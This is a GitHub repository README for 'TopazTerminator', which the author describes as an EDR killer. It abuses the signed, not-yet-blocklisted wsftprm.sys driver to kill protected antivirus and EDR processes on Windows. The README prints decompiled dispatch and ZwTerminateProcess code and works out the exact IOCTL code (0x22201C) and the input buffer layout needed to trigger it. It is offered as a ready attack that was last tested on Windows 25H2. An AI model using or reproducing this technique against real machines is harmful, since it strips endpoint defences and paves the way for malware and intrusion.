Back to Search
ThanniKudam

ThanniKudam/TopazTerminator

Just another EDR killer

28stars
3forks
28watchers
MIT License
Updated 1/20/2026

README.md

TopazTerminator

F, Another driver got burned.. I was gatekeeping wsftprm.sys driver for a while ;) but since someone posted a public POC https://github.com/xM0kht4r/AV-EDR-Killer , I'm ungatekeeping it. We all know it'll get added to the driver blocklist soon, so here's my implementation for the same — in C

This project exploits the vulnerable wsftprm.sys (Topaz Antifraud kernel driver) to terminate protected processes (e.g., antivirus/EDR services) on Windows.

As of January 2026, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) remains one of the signed vulnerable drivers that is not on Microsoft's official Vulnerable Driver Blocklist

RE

There's shit ton of info on how to load & reverse a driver so refer to any of them. The only thing that's interesting about this driver is how they handle the IOCTLs.. The driver does not use a standard switch statement for IOCTL dispatching. Instead, it employs a chain of subtractions from the IOCTL code to obscure the intended values.

Main Dispatch Function (IRP_MJ_DEVICE_CONTROL handler)

__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
    // ...
    v7 = IoControlCode;  // v6[6] = Parameters.DeviceIoControl.IoControlCode

    v8  = v7 - 0x222000;
    v9  = v8 - 4;
    v10 = v9 - 4;
    v11 = v10 - 16;

    if ( v11 == 4 && InputBufferLength == 1036 )
    {
        // Copy 1036-byte input buffer
        // Extract first DWORD as PID (v41)
        // Call sub_14000264C(v41, buffer) → leads to termination
    }
}

ZwTerminateProcess() func call

sub_14000264C(unsigned int a1, __int64 a2)
{
    // ...
    v4 = sub_140002848(a1);  // a1 = PID from buffer[0..3]
}

__int64 __fastcall sub_140002848(unsigned int a1)  // PID
{
    CLIENT_ID ClientId = { (HANDLE)a1, 0 };
    OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
    HANDLE ProcessHandle;

    ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
    if (NT_SUCCESS(status) && ProcessHandle)
    {
        ZwTerminateProcess(ProcessHandle, 0);
        ZwClose(ProcessHandle);
    }
    // ...
}

Calculating the IOCTL Code (by reversing the Subtractions)

so now we know the prereq to reach vulnfunc. Basically v11 == 4 && InputBufferLength == 1036 so we can sort of work backwards from the condition to get the IOCTL Code.. Something like this:

v11 == 4
→ v10 - 16 == 4    → v10 = 20 (0x14)
→ v9  - 4  == 20   → v9  = 24 (0x18)
→ v8  - 4  == 24   → v8  = 28 (0x1C)
→ v7  - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C

And then you can use DeviceIoControl with the IOCTL code to terminate the process you want (including PPL processes)

Last tested on Windows Version 25H2!